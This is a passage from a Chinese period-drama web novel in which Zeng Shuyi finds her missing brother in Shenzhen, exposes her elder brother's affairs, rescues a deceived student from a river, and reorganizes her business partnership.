“不好意思,我再问几句话,我是您一个租客的姐姐, 我特意带我妈来找我弟弟。您知不知道他们去哪里了?” “这我还真不知道,不过你可以去码头看看,那里多打工仔,还有想偷渡的。说不定你弟弟啊,已经过了河,去过好日子了。”房东不再多说,曾舒仪她们只好又去码头。 但曾舒仪没想到,才一两年的时间,深圳变化巨大,码头来来往往的人数不清,要找人就像大海捞针。 一天下来,毫无收获。 林家珍坐在招待所床上,更睡不着了,“舒仪啊,这下怎么办?向民搬家了,怎么不说一声?” “您别急,总有办法的。”曾舒仪心里也打鼓,但这时候更不能着急。 第二天一早,曾舒仪母女又出门去了。 连着两天,把回去的火车票退了时,才在火车站发现拉人的柱子。对方一看到曾舒仪就跑,曾舒仪哪能放过,拔腿追了上去。 好在两个警察看到曾舒仪追人,以为是扒手,帮着拦下柱子。 “柱子,你跑什么?我弟弟呢?”曾舒仪问。 曾向民就是跟柱子几个一块来打工。 柱子却说不知道。 曾舒仪觉得不对劲,“你怎么会不知道,你们一起出来的,刚刚看到我还那么心虚。行,你不说,我就带你去警察局。” “别!舒仪姐,我真的不知道。”柱子道,“我们都是跟着大喜哥出来的,现在大喜哥不要我们,我们讨一碗饭吃都难。” 曾舒仪问怎么回事。 柱子说他们到了深圳后,曾向民不满意大喜分配工资,和大喜吵了一架。大喜不愿意用他们,就散了。 “那你怎么不回家?” “我都和家里人说了出来挣钱,要是就这样回去,岂不是太丢人?” “那你带我去找大喜,你要是不带我去,我有的是办法治你。”曾舒仪已经看出不对劲,“你家在哪我也知道,你爸妈和我都熟,我倒要去问问他们,到底养了个什么儿子。” “别!别去找我爸妈。不过舒仪姐,我求你一件事,我真的不容易,你别说是我带你去的行吗?” 曾舒仪说可以。 一行人跟着柱子转到一块城乡结合,柱子指着一个小厂房,“里面就是大喜的工厂了,他在深圳帮人处理走私的东西,里面有很多打手。舒仪姐,我劝你别去惹他,你去别地方找向民吧。” 曾舒仪说了句知道,就放走柱子。 她当然也没自己进去找人,而是找了警察举报。 不过大喜这些人,能干这个就特别有经验,等警察到的时候,人全跑了。 他们在警局门口有眼线,只要警局有个风吹草动,他们都能知道。 不过警察早就盯上大喜这群人,在其他路口全设下埋伏,还是抓到了大喜的几个手下。 警察给曾舒仪回话是,大喜这些人,专门从老家骗一些人过来给他们打黑工。之前曾舒仪遇到的柱子,应该是偷偷跑走,但是没有身份证明,又回不去。 而且确认有曾舒仪的弟弟,不过曾向民在面前就和这群团伙不欢而散,很可能和柱子一样。 听到这话,曾舒仪的心重重地往下沉,急得快要骂人。 没办法,她只能试着登报找人。 只是一周的时间,曾舒仪发现她妈多了好几根白头发。 好在登报有效果,这天曾舒仪母女回招待所时,看到了坐在门口台阶上的曾向民。 曾舒仪二话不说,冲过去捶了一拳,“你是死人吗,人还好好的,换了地方干嘛不给家里说一声?你知道妈多担心你?” 曾向民往后摔了个踉跄,张着嘴说不出话来。 曾舒仪深吸一口气,“你说说,你都干嘛去了?” 林家珍却是开口问,“向民,你吃了没?怎么瘦了?妈带你去吃面条好不?” 听到这话,曾向民再也绷不住,抱着他妈哇哇大哭起来。 嚎了好一会儿,曾向民才带着姐姐和妈妈下馆子去,从他到深圳后的事开始说起,“我和大喜的事,你们应该知道一些。我看出事情不对劲,就和大喜说要走,结果大喜把我的钱都拿走,还扣下我们的介绍信。我气不过和大喜拼了命打,才拿回介绍信。但是我去报警却没用,大喜有关系。” “从大喜那离开,我和柱子一样,去火车站帮出租车拉客干了几天。后来运气好,遇到现在老板,你们知道么,他让我学了开车,我现在成了司机!” “真的啊?”林家珍一直拉着儿子的手,菜上来了也看一眼,“你怎么认识的,老板靠谱吗?” “当然靠谱,是做房地产的大老板。我在拉客时帮了他,他觉得我这小伙子人不错,就给我找了这个活。你们看我现在穿的白衬衣,就是老板买的,这么好的料子,我要是和柱子一样,能穿得起吗?” 曾向民没撒谎,他确实给大老板当司机。不过他也略过那段睡桥洞,捡垃圾吃的日子。他也是刚稳定下来,之前和流浪汉一样,连邮票都买不起,更别提写信了。 曾舒仪看出弟弟有略过一段时间,不用想都知道很难的日子,她就不在妈妈面前提了,“人都是有运气的,你能时来运转是好事。不过向民,你现在也是帮人打工,和你在棉纺厂有什么差别吗?” “三姐,不一样的。”曾向民眼里冒着光,“以前棉纺厂那个氛围,就是混吃等死都不会被开除。现在公司有绩效,还能跟老板见世面。我不会一辈子给人开车的,等我上手了,我都想好了,我自己搞运输队。” “我们老板也说我有干劲,我就是打不死的小强,我一定会干出一番事业,再衣锦还乡!” 第44章 林家珍却对儿子没有那么大的幻想, “别总想着衣锦还乡,你能平平安安的就好。听妈一句劝,跟我回去, 咱们在榕城,再怎么样也不会饿死。” 曾向民求助地看向姐姐。 曾舒仪不说话,自顾自地吃饭。 林家珍继续道,“你想想,你这次出来多危险, 要不是你运气好点, 现在都不知道成什么样?” 儿子性格虎,没有那么圆滑,要是大儿子都没那么操心,但是小儿子不一样。 “妈, 可是我现在很好。”曾向民说老板还给包住,各方面的都很好,“你要是不信, 我带你们去看看。” 他是打定主意,不会灰溜溜回去, 不然卖工作的钱都被骗了,他现在回去一定会被大哥大嫂奚落。 林家珍不看一眼不放心,她就想去看看, 然后儿子开车过来时,她都惊呆了,“这个车……” “是老板让我开过来的, 他说你们肯定着急,这就是老板的车,怎么样, 特别舒服吧?”曾向民让她们上车,“你们绑好安全带,三姐,车里的水可以喝,其他的不能碰,都是老板的东西。” 曾舒仪还是第一次坐那么软的座椅,她都不敢坐到最里面,是真的见世面了。 等车开进别墅区,曾舒仪更是惊叹,她之前去家属院,就觉得家属院够好了,没想到深圳还有更好的房子。 每一栋房子都特别大,有的还有水池,听弟弟介绍,才知道是游泳池。 下车后,曾向民先进去打招呼。 曾舒仪母女站在客厅里,两个人都被奢靡的装修闪到了眼,局促得不敢动。 过了会,曾向民从楼上下来,“老板正在忙,我带你们去我房间。你们看,我自己住一个房间,还有独立卫浴。对了,老板说你们来了,他帮忙安排住宿。” 说话时,有保姆端来水果,曾向民笑着说了谢谢,“你们快尝尝,都是进口水果,好些我都是到了老板这里,才第一次看到。” 曾舒仪今天是真的长见识了,原来世界上还有那么好的房子,可以吃到那么好吃的水果。 她也想拥有! 林家珍却说,“不要再麻烦人家老板了,你是给人打工的,又不是他亲戚。我们住一晚招待所,明天就回去。” “怎么那么急?”曾向民问,“我还想明天带你们玩玩呢。” “我们都出来好几天了,家里肯定担心了。”林家珍看到儿子没事,才安心了,“向民啊,你要好好干,人家老板对你好,你也要踏实。别想着自己干什么,你就踏踏实实的,行吗?” 面对亲妈,曾向民知道说什么都没用,便“好好好”地应了下来。 他们在曾向民这待了十几分钟,曾向民老板还在忙,曾向民就把她们送回招待所。 准备回去前,曾向民特意拉着姐姐到门口说话,“三姐,我老板说了,未来很长一段时间,国内会大力发展房地产。如果你有钱,一定要多买房子,买得越多越好。” “可是房子都那样,也没有涨价,如果自己不住,买来感觉并不合算。买铺面倒是可以,出租就是不少钱。”曾舒仪道。 “一样的姐,深圳这边已经拆迁了好多房子,你知道吗,和咱们家一样的房子,拆迁可以分三套七十平的两居室。你想一下,房价是没涨,但是遇到拆迁,一套变三套,还是挣钱。”曾向民很相信他老板,在他眼里,老板就是最有本事的人,“你信我的不会错,特别是再过两年,咱们榕城也会和深圳一样改革。你也看到了深圳的变化,你不心动吗?” 曾舒仪当然心动,她每天做生意,挣的钱已经在榕城算多了,但是真和这些大老板比起来,感觉还是他们冰山一角。 她得多努力,才能住上今天看到的大别墅? “听我的吧姐,你也看到我老板的别墅,他就是靠房地产住上大别墅的。三姐,咱家就你有这个本钱,你要是错过机会,以后就不一定有了。”曾向民说着,拿出十张十元,“这个钱,你拿给妈。我是个不孝子,过年过节回不去,你帮爸妈置办些新衣服和吃的。” 他也想回家了,但是他不能回去,他一定要闯出一片天来。 曾舒仪叹了口气,看着弟弟走进黑夜中,知道弟弟的心思,只好回招待所去。 第二天曾向民提来了好些东西,送曾舒仪母女到火车站。 临别时,曾舒仪看到弟弟悄悄转身擦眼泪,她鼻头也酸酸的。 回到榕城,曾舒仪母女大包小包地到巷口。 老头老太太们瞧见了,曾舒仪抓了一把太妃糖给他们,“刘大爷,你们分着吃,我家向民给我们拿的。” “哟,向民有出息了吧,他现在干什么?”刘喜旺快速地给自己藏了两颗糖。 曾舒仪笑了下,“回头聊,我们先回家去。” 到了家里,曾庆良当即皱眉,“不是说去两天,怎么那么久?不知道的,还以为你们被拐卖了!” 林家珍关了门,才说了在深圳的事,“向民这小子还是有运气的,能遇到一个好老板。你啊,别想着骂人,你要是对儿子好点,他能吃那么多苦头吗?” “你什么意思,我帮他安排好工作,还怪我起来?”曾庆良不高兴了。 曾舒仪抓了一把她带回来的糖,又拿出刚从供销社买来的布,“爸,别嚷嚷了,这是向民花钱给你买的布,拿去做身新衣服。以后别人看到,你就给人吹牛,你儿子在深圳开车,给你做了新衣服,孝顺得很。开心点了吧?” 曾庆良沉着脸摸了摸布料,忍不住笑出来,“真是向民挣的钱?” “那不然呢,我给的吗?你觉得我有那么好?” 曾庆良摇了摇头,“还算这小子有点良心,不错不错,我现在就拿去做衣服。” 他等不及地出门去,曾舒仪看得呵呵笑。 林家珍烧了热水,她出门几天,浑身疲乏,“舒仪,晚上就在家里吃,待会我去买点菜。” “别买了,我去饭店打包两个菜回来,别做饭了。”曾舒仪帮忙把东西给收拾了,再去饭店买菜。 结果半路上,看到了她大哥和一个女的在说话,两人好像在争吵,过了会,她大哥把人拉到巷子里,曾舒仪赶忙跟了过去。 这种八卦,一定要听个清楚。 “曾向平,你最近为什么都躲着我?”胡冰冰从那次学校的事之后,一直想找曾向平要个解释,但曾向平一直躲着她。 没办法,她今天跟着曾向平一路到这里,“你难道不该给我一个解释么,你明明有老婆,却骗我说没老婆。你玩弄了我的感情,你现在说不联系我,就不联系了,你把我当成什么了?” “冰冰,你听我解释。”曾向平恳求地看着胡冰冰,“我是真心爱你的,我的婚姻并不快乐。我这段时间并不是要躲着你,而是我每天都深陷痛苦与煎熬,不知道该怎么面对你。” “是,我是错了,我应该压抑自己对你的感情。但我没有忍住,因为你实在太优秀了。” 曾向平是喜欢胡冰冰的,她漂亮,又有才,班上很多男人都喜欢胡冰冰。 但是再喜欢,在自身利益面前,都算不上什么。 胡冰冰听愣住,“那你为什么不离婚?” “我离不了啊,如果我离婚,我爱人就会寻死觅活,到时候还会牵连你。”曾向平一把抱住胡冰冰,“冰冰,你要相信我,我是真的喜欢你。我只是迫于无奈,现在不得不要和你分开。” “对不起,之前是我不对,你要怎么惩罚我都可以。但是这个事不能让别人知道,不然会影响你的。我这段时间不联系你,也是我爱人警告我,如果我再找你,就去举报你搞破鞋。冰冰,我不能害了你。” 胡冰冰听曾向平处处都在为自己着想,有些心软了。 她也是真的喜欢曾向平,这是她的第一个对象,学校里同学私下都说曾向平长得好。她这段日子,吃不好,睡不好,想的都是曾向平为什么欺骗她。 “可是向平,你那么优秀,怎么可以被那种女人拖累了?”胡冰冰这会,已经被曾向平感动了。 曾向平无奈道,“我也是没办法,当初结婚就不是我的意思。后来她小产,性情大变,我只能顺着她。冰冰,你听我的,我们先不要联系,不然她肯定会做出偏激的事。你等我把麻烦都处理了,我们再光明正大在一起。” “处理什么呢?”曾舒仪听不下去了,“姑娘,我看你也是个大学生,应该有点脑子,怎么那么容易被骗了?” “曾舒仪,你干什么!”曾向平对着曾舒仪吼道。 曾舒仪冷哼道,“我是看到你恶心人,实在受不了。姑娘,他都能骗你一次,你就不想想,他现在也是骗你吗?老婆替他怀孩子,结果流产不能生,他自己又考上大学,就开始嫌弃原配的人,你觉得品行能信任?” 胡冰冰听懵了,“你……你是谁?” “我啊,是曾向平的亲妹妹。”曾舒仪两手环抱在胸前,“我实在是听不下去,忍不住出来说两句。我大嫂现在的情况,是绝对不会和我大哥离婚的。我看你一开始也是被骗,所以才和你说这些话,做人清醒点吧。我大哥要是真想和你结婚,早就想办法和我大嫂离婚,但是都那么久了,他提都没提过,说明了什么,你心里不清楚吗?” 胡冰冰如梦初醒,手脚僵住。 曾向平朝曾舒仪冲了过来,要去拽曾舒仪离开,却被曾舒仪瞪住。 “怎么,你敢做这种恶心人的事,还不敢让我说?”曾舒仪指着她大哥,“你要是再乱骗小姑娘感情,大嫂不去学校举报你,我都去你学校。你知道我能做到,到时候别怪我不顾及兄妹之情!” 说完这个话,曾舒仪转身就走了。 她不是救世主,该说的都说了,要是那个叫胡冰冰的大学生还愿意被曾向平哄骗,日后闹起来,也是胡冰冰的报应了。 巷子里,静得可怕。 曾向平被突如其来的曾舒仪给弄得不知所措,“冰冰,我……” “好了,我知道了。”胡冰冰没去看曾向平,而是握着拳头,低头走出了巷子。 她又相信了曾向平的话。 真是可笑。 胡冰冰手脚冰冷,这一刻,羞愧得想死。爸妈从小教育她要堂堂正正做人,结果明知被骗,她还又相信了曾向平。 而曾向平在巷子里站了好久,看天快黑了,才怒气冲冲回家去。 只是刚到家里,看到正在客厅忙碌的王娟,想骂曾舒仪的话,又不得不咽回去。 “向平你回来了啊,快坐吧,向民真是有出息了,给家里带了好多东西。”王娟笑呵呵地去拉爱人的手,完全没发现爱人的神情不对劲。 曾舒仪只当没看到她大哥要吃人的眼神,继续吃饭。 等吃过饭,曾舒仪回去时,曾向平追了出来。 “曾舒仪,你想怎么样?” “大哥,你怕了。”曾舒仪笑眯眯地冲着她大哥挑眉,“怎么,很怕我去你学校举报你搞破鞋啊?” 曾向平确实害怕,毕竟当初家里让他复读,却没让曾舒仪复读,他知道曾舒仪一直记恨在心。 如果曾舒仪要去举报他,也是曾舒仪能干的出来的事。 “你……你说个条件。”曾向平不得不服软,“你要知道,如果我被退学,爸妈肯定接受不了。” “你也知道爸妈会崩溃啊,既然知道,你就别干那些下三滥的事啊。”曾舒仪毫不留情地怼道,“我呢,没工夫管你的那些破事。所以你自己好自为之,我说了,你要是再让我知道你骗小姑娘,我就去举报,所以你老实点。” 她的时间很宝贵,特别是在深圳长了见识,更迫切地想多挣钱。至于胡冰冰,她今天都那样说了,只要有点脑子的人,都不会再信曾向平的话。 曾向平看妹妹走了,心里憋着一口气,却又不能发作。 等曾向平回家,王娟才看出点不对劲,“怎么,你又和舒仪吵架了?” “她就是个狗脾气,以后我不管她的事了。”曾向平随口接了一句。 “确实,她的脾气,爸都不敢说她了。”王娟靠了过去,“咱们过好自己的日子就好,玉玲的老师说她挺有画画天赋,我打算送她去上兴趣班,你觉得呢?” 曾向平没心情听这些,敷衍道,“都行,听你的。” “那我们明天一起去吧,玉玲是我们的女儿,我一定会竭尽全力培养她。”王娟对女儿的未来充满期待,她就想女儿有出息,才能在婆家更有底气。 曾向平则是无所谓的态度,他对女儿,一直就没很上心。 另一边,曾舒仪回家路上,又遇到了胡冰冰。 她看胡冰冰站在河边,本来不想多管的,结果走了一段,发觉不对劲,又跑了回去,把走到河里的胡冰冰给拉了回来。 “你是脑子坏了,还是不清楚?”曾舒仪鞋子裤子都湿了,恨铁不成钢地骂道,“是曾向平骗了你,你就算死,你也得拉着曾向平先去死吧!” 胡冰冰不解地看着曾舒仪,“你是曾向平妹妹,你不应该帮他吗?” “为什么要帮他?我像是那么没底线的人吗?”曾舒仪坐在地上拧裤脚,“不就是被男人骗感情,算什么大事吗?没有一个曾向平,还有更多好男人,看你这样子,也很多男人喜欢你。” “再说了,你不想想家里人么,你要是死了,他们不难受?你对得起他们?” “呜呜,可是我没脸面对他们。”胡冰冰抱着膝盖大哭。 曾舒仪看胡冰冰哭得伤心,语气温柔了点,“要哭就一次性哭了,你要知道,是你被骗了,并不是你故意去当小三,这是有本质区别。你有什么不敢面对的,就算事情被捅出来,你也要理直气壮地骂曾向平不是,而不是自怨自艾。” “而且,你不说,曾向平肯定不会和别人说,你家里人怎么会知道?” “等等,你没怀孕吧?” 胡冰冰愣了下,随后说没有。 “没有怀孕就好办。”曾舒仪替胡冰冰松口气,“你要是恨曾向平,找几个人把他狠狠打一顿。你放心,我大哥绝对不敢报警。就算你把他打到住院,他也会忍着的。” “至于你们之前谈对象的东西,全都烧了,以后有人提起来,你就打死不认,谁也奈何不了你。” 胡冰冰非常诧异地看着曾舒仪,“你……你好不一样。” “我哪里不一样?” “我说不上来,但我感觉,你是个好人。” 曾舒仪笑了,“那当然,我这人善良又美丽,是个大好人!” 她拉着胡冰冰起来,“行了,别坐在地上了,天都黑了,你再不回家,你家里人要担心了。天底下没有过不去的事,只有生老病死无可奈何,其他的难事都可以过去。” 胡冰冰乖乖地点了点头,默默地跟在曾舒仪身边,她突然觉得,眼前的姑娘好有感全感。 快到胡家门口,曾舒仪不过去了,“行了,你回去吧。” “那个……今天……” “我知道的,我不和别人说。”曾舒仪打了个哈切,她困了。 “不是这个。” 胡冰冰深吸一口气,和曾舒仪鞠了个躬,“我是想和你说谢谢,你叫舒仪是吧,可惜我们是这样认识,不然我会很喜欢和你当朋友。” 曾舒仪笑了,“这样认识也不差,行了,我真的困了,不和你啰嗦了。” 她又打了哈切,平常这个时候,她已经躺下睡觉了。 第45章 胡冰冰认真打量了下曾舒仪, 她才发现,曾舒仪长得特别漂亮。 这样的姑娘,值得很好的人生。她这么想的时候, 主动抱住曾舒仪,再和曾舒仪说了再见。 这会没了公交,曾舒仪回到家时,一边觉得自己多管闲事累人,一边又庆幸自己救了一条人命, 最后开始咒骂曾向平不做人。 在这之后, 曾舒仪很长一段时间没看到胡冰冰,一直到年底,赵磊给赵福介绍的对象,到了谈婚论嫁的时候。 弟弟要结婚, 赵磊特别高兴,帮忙装修房子,又操办酒席。 在赵福结婚这天, 赵磊喝了个大醉,曾舒仪也很高兴。 过了几天, 赵福另外请吃饭,曾舒仪提着礼盒过去,酒过三巡, 两个男人又喝醉了。 曾舒仪帮着收拾时,赵福媳妇邹琴看了几次曾舒仪,曾舒仪察觉到对方有话要说, 主动问,“嫂子,你有什么话要说吗?” 邹琴不太好意思地收回目光, 一边洗碗,一边道,“舒仪,我听赵福说起你们以前的事,我发现你是个很不错的女人。” 曾舒仪笑了笑,总觉得邹琴另外有话要说。 “是这样,我想和赵福分出去单干,你觉得呢?”邹琴没等曾舒仪回答,立马接着道,“我知道这些年,你们的生意都是靠你和大哥,赵福就是个小跟班。但你们都不嫌弃他,愿意和他平分钱,但我知道,他自己干,肯定没跟着你们干。” “我不是个有大志向的女人,我只想守着自己的一亩三分地,吃饱穿暖就行。” 听邹琴说了这一大段,曾舒仪一头雾水,她从没想过分开干的事,大家伙一起干了那么多年,默契都有了。 至于分钱的事,她从不计较这个。 “可是……” “我知道,你们人好,不介意带着赵福一个。”邹琴又道,“但是舒仪,你知道赵福以前喜欢过你吗?” 曾舒仪愣住了。 “我知道赵福跟着你们可以挣更多钱,但这个钱再多,也得家庭和睦才行。舒仪,你很好,真的见到你之后,我自惭形愧。” 邹琴回头和曾舒仪很勉强地笑了下,“可是舒仪,女人都小心眼的,我就心眼很小。想到赵福时不时会看到你,我心里就难受。” “我和赵福清清白白。”曾舒仪道。 “我知道,就是这样,我更觉得自己小心眼,心里更难受了。”邹琴停下洗碗的手,“我知道你很好,但我不够有气度。赵福不同意和你们散伙,但我求求你,帮我劝劝他。” 曾舒仪从赵福家离开时,人都是懵懵的,她没想到会有这些话,就像是个鸿门宴,专门等着她。 她在公园的河边坐着,一直在想邹琴的话。 另一边,孙丽丽听完邹琴找了曾舒仪,心情复杂,“其实你可以放心舒仪和赵福的。” “我知道,但我心里扎了一根针。想到赵福喝醉了喊别的女人名字,我心里别扭。”邹琴道。 “琴啊,我不太理解,既然是结婚前你就知道了,干嘛还嫁给赵福呢?”孙丽丽问。 “大嫂,你也知道我家是个什么情况,我爸年轻乱搞女人,弄得我家不像个家。后来我哥哥也不正经,现在还在牢里蹲着。我看过太多品行低劣的男人,我看上赵福的这个本分,想和他过踏实的日子。” 至于喜不喜欢,爱不爱,并不重要。邹琴是个目的性很强的人,“我和赵福结婚,就是为了过平淡日子。旁的一切,我也承认我小心眼,但我就是这样一个人,为了我自己的日子,我愿意当个坏人。” 孙丽丽无话可说,听着屋里传来的鼾声,心里犯难的是,等两个男人醒来后,怎么提这个事。 快傍晚时,赵磊兄弟醒来,得知邹琴找曾舒仪说了散伙的话,赵福大发雷霆。 “你凭什么帮我做决定?这是我的生意,不是你的!” 赵磊却只是愣了下,很快反应过来,“赵福你坐下,弟妹这么做,我同意了。” “大哥,你说什么?”赵福不敢置信地看着他大哥。 “我说我同意了。”赵磊道,“咱们本来就要分家,现在你成家了,正好把这个事拿出来说开了。就算是亲兄弟,也不好一直在一起做生意,日子久了难免有怨恨。弟妹说得对,倒不如趁这个时候,我们分一分。” “我不同意!” 赵磊:“你不同意也没用!不许和你媳妇吵架,好好过日子,听到没有?” 赵磊没吃晚饭,带着媳妇孩子走了。 回家路上,孙丽丽不解地去看赵磊,“你是提前知道了弟妹的想法吗?” “没有。”赵磊语重心长地叹了口气,“那我总不能跟着赵福指责弟妹吧?那还怎么缓和他们关系?” “赵福结了婚,有了自己家庭,用得以他们自己的小家为重。而且赵福确实对舒仪有过心思,这种事久了,人邹琴就是心里不好受。算了吧,既然人家有想法,咱们就答应了。这事不太对得起舒仪,到时候多给她分一点。” 孙丽丽无奈叹气,“要我说,赵福自己分出去单干,把那个铺面给他,也够他一家子以后的吃吃喝喝。但是我们还可以和舒仪一起,你让我和你做生意,我真没那个本事,最多帮你看看货。但舒仪不一样,她能说会道,还有胆量。” 赵磊眉头紧皱,“先问问舒仪的意思吧。” 此时的曾舒仪,还坐在河边,直到肚子咕咕叫,这才起来。 准备离开时,她遇到了胡冰冰。 四目相对,胡冰冰先认出曾舒仪,主动打招呼,“舒仪,你怎么也在这里?” “哦,我来吹吹风?”曾舒仪道。 “那么冷的天,来河边吹风,你心情不好?”胡冰冰看出曾舒仪的不对劲,“要不我请你吃个饭,之前的事,我还没找机会谢谢你。” 曾舒仪本想拒绝,但胡冰冰盛情难却,只好跟着去饭店。 “你可以和我说说,遇到什么事了,不想说也没事,我先和你说说我的事。”胡冰冰点了菜,一直看着曾舒仪,“我申请了保研资格,打算继续深造。本来我爸妈想着等我大学毕业分配了工作,就找个门当户对男人结婚。” 顿了顿,她笑了起来,“但是我想到了你,你很厉害,可以做自己想做的事。所以我深思熟虑后,觉得结婚并不是我现在想做的事,所以我打算读研究生。” 曾舒仪:“挺好的。” “是啊,你大哥也申请了呢。”胡冰冰没再搭理曾向平,但他们是一个班的同学,谁是什么情况,不可能不知道。 这点曾舒仪还真的不知道,“那他肯定还没成功,不然我爸早就放鞭炮了。” “他希望很大的,他成绩比我好,人也更讨导师喜欢。不过名额不止一个,所以我就无所谓了。”胡冰冰道。 “那我打心眼里不想看他保研成功。”曾舒仪实话实说,她还是没和胡冰冰说生意上的事,因为她们太不熟了。 第二天赵磊找到曾舒仪,说了散伙的事。 曾舒仪沉默了一会,“磊哥你是什么想法?” “我就想,要不把那间铺子给赵福,让他们自己干。之前那个铺面你花了两千,我们给你三千。然后咱俩继续干,你觉得怎么样?”赵磊看着曾舒仪。 曾舒仪说可以,“我也想了一晚上,很多事,我出面就容易被人欺负。而且我们一直都是互相帮扶,就算和赵福散伙,也还是朋友。但是你和我,还是可以一直挣钱。” 赵磊说是,“你能这样想,我就松一口气了。” 曾舒仪想了又想,人多力量大,她不是什么都擅长。而且这个事,也没有什么不愉快的。 好聚好散,以后还能做朋友。 两个人这么说好,赵福的意见也就不重要了。 他们一块去办了手续,曾舒仪想着弟弟的话,准备另外买一间铺面。 这个铺面,就不是用来自己做生意,而是用来出租。 曾舒仪住的教师公寓附近,是机械厂的职工宿舍。 最近一年,机械厂发不出来奖金,所以打算房改,把沿街一楼的房子拿来买卖。当然了,机械厂员工可以优先购买,也可以有优惠价格。 这个消息,还是马淑芬和曾舒仪说的。 “舒仪,这里!”马淑芬得知曾舒仪要买铺面,热情地带着曾舒仪看房,又帮着办手续,机械厂的人给马淑芬面子,也就没有为难曾舒仪。 马淑芬自己也住一楼,她没要厂里的补贴,而是加了一点钱,把自己住的这套买下来。而曾舒仪买的,就是马淑芬隔壁的房子。 曾舒仪跟着马淑芬来看房,她已经拿到钥匙,“马奶奶,等过段时间,大家伙都在这里做生意,你们还住这里,不嫌弃吵吗?” “我们老人家,早睡早起,做生意的人都不一定有我起得早。”马淑芬笑呵呵地道,“而且我们住习惯了这里,身边又没有小孩,附近做生意起来,还能热闹点。我和我老头说好了,先住在这里,如果不适应,再搬走。” 人上了年纪,不太想改变,马淑芬两口子对这片筒子楼有了感情。 曾舒仪扫了一圈屋里,该搬走的都搬走了,她花了大部分积蓄买下这套房子,现在手里又只剩下五百块。 她找了二姐夫帮忙打扫,同时贴了出租的小广告。 给门上了锁后,马淑芬热情地邀请曾舒仪到家里吃饭,“舒仪,你现在还单身吧?” 曾舒仪问怎么了。 “我不是有个孙子么,出国留学了,但是还有三个月就回来了。”马淑芬一直操心孙子的婚事,“我那孙子,长得好,人也有本事。这次不管说什么,你们一定要见见。” 曾舒仪看着马淑芬递过来的照片,多少有些尴尬。 这段日子,她和陈澈一直有书信往来。虽然没见到人,但每次收到信,曾舒仪都很高兴,也就一直谈着。 现在马奶奶要给她介绍陈澈,她都不知道要不要说实话,毕竟陈澈快回来了,这三个月里,他们肯定分不掉。 不过想了想,还是很为难。 算了,让陈澈去解决吧。 马淑芬不懂孙子和曾舒仪在一起了,还在卖力介绍,“你看,是不是真的很俊?” “是的是的。” “那就见见吧,我可算是等来这个机会。”马淑芬说着突然想到曾舒仪和儿子是邻居,“哎呀,我老糊涂了,你们本来就是邻居啊,那你们肯定见过。不过以前只是见面,等我孙子回来,我特意安排你们吃个饭。” 马淑芬一心撮合,也没发现曾舒仪膝盖上的手尴尬得扣大腿。 在马淑芬家吃完饭,曾舒仪直接回家,只是刚洗了脚,她侄女玉玲跑来了。 “怎么是你,你一个人来的吗?”曾舒仪没看到其他人。 何胜男坐在椅子上大口喘气,“我……我爸妈……没……没空,奶奶让……让我来的。” “先喝水,等气匀了再说话。”曾舒仪给侄女倒了水。 曾玉玲一口喝完,她跑过去拉姑姑的手,“姑姑你快跟我回家,我爸出大事了!” “啥事啊?”曾舒仪被侄女拽出门,又急急忙忙跑回去锁门,“你先和姑姑说怎么了,我骑三轮车带你回去。” “我说不清楚什么事,就是今天爷爷奶奶去了学校一趟,然后我妈又去了派出所。我在学校等半天,都没等到有人来接我,后来还是对门奶奶接我回来。” 曾玉玲说得快哭了,“我到家后,奶奶也回来了,她眼睛红红的,说什么我爸被派出所扣住了,让你快点去救我爸!” 第46章 派出所? 曾舒仪听得一头雾水, 既然有事,她就去一趟。 等曾舒仪回到家里,看到她妈坐在黑暗中, 她拉亮等,看到妈妈明显地抖了一下,“妈,大哥怎么了?” “舒仪啊呜呜,你大哥他……”想要说话时, 林家珍看到了同样看着自己的孙女, 擦了眼泪,哄孙女道,“玉玲,奶奶买了馒头, 在厨房里,你自己吃一点。” “奶奶,我爸到底怎么了?”曾玉玲也想知道。 但林家珍难以启齿, 更不会对孙女说,“你爸没怎么, 你快去吃饭。” 说着,她拉着女儿到房间里,“舒仪, 你大哥和他们学校的一个女老师睡觉,被抓奸在床了。” 这个话说出来,林家珍都觉得嘴巴脏了, “我……我怎么会养出这种儿子。” 曾舒仪想都没想就道,“他还真是狗改不了吃屎。之前骗女学生,现在睡女老师。女老师结婚了吗?谁去抓奸?” “结婚了, 就是她老公回家,带着人把你大哥打了,现在所有人都在派出所。”林家珍一边说,一边擦眼泪,“你爸也去了派出所,他们要打死你哥,你大嫂也去了。你爸说你有主意,让我带着玉玲回家等你。” 这种事,不好让孙女也去派出所,林家珍一直都没主意,所以曾庆良让她先回来。 曾舒仪听明白怎么回事了,“我去派出所看看,你带着玉玲早点睡。大人的事,就别和小孩说了。至于我大哥,他自己做错了事,就该付出代价。” 曾舒仪到派出所门口,就听到里面闹哄哄的。 有一些是曾舒仪不认识的,然后王家人也来了。 曾庆良一个人说不过那么多人,被逼到靠墙,看到女儿来了,像是看到救命稻草,“舒仪,你可算来了!” “爸。”曾舒仪走了过去。 王志刚立马指着曾舒仪大声道,“曾舒仪,你大哥干出这种不要脸的事,你们家怎么对得起你大嫂,你们得赔钱!” 之前因为女儿流产,曾舒仪狮子大开口,要了他好大一笔钱,现在曾向平犯错,他得把钱要回来。 田小花也附和道,“是啊,我家小娟真是命苦,怎么摊上这么一个人。你们家要是不赔钱,那就离婚!” “好啊,那就离婚吧。”曾舒仪才不怕威胁,“我大哥干了不要脸的事,他活该被抛弃。王叔王婶,我也觉得这个事是我大哥对不住大嫂,那就离婚吧,反正我大哥这种人,不值得我大嫂留恋。之前单位分的房子,也可以给我大嫂和玉玲,我都同意。” 曾庆良拉了拉女儿,小声道,“你在说什么,怎么可以让他们离婚?” 离婚多丢人,他们巷子里,还没有离婚的人。 王志刚两口子听懵了,过了好一会儿,田小花才问,“曾舒仪,你认真的?” “当然,这个事是我大哥不占理,我大嫂要离婚,我是一百个赞同。”要丢也是丢大哥的人,曾舒仪无所谓的。 她又去看她爸,“丢人就丢人呗,你以为现在就不丢人么。搞破鞋被抓奸在床,爸,这个事够我刘大爷说十年了。” 想到大嘴巴的刘喜旺,曾庆良生无可恋,他想搬家了。 田小花两口子,并没有真的想让女儿离婚,他们就是说一说,要一点好处。 田小花去看自家男人,两个人都不懂该怎么办。 曾舒仪则是看向椅子上呆愣住的大嫂,过去拍了拍大嫂肩膀,“大嫂,这个事你说了算,你要离,我家绝对不拦着,房子和玉玲也都可以给你。这个事,我替我爸妈做主。” 看曾庆良要说话,曾舒仪马上开口,“到这会,爸你就别想着争财产了,房子本就是棉纺厂分给大哥大嫂的。现在大哥干了肮脏事,你不让大嫂拿走房子,玉玲怎么办?” 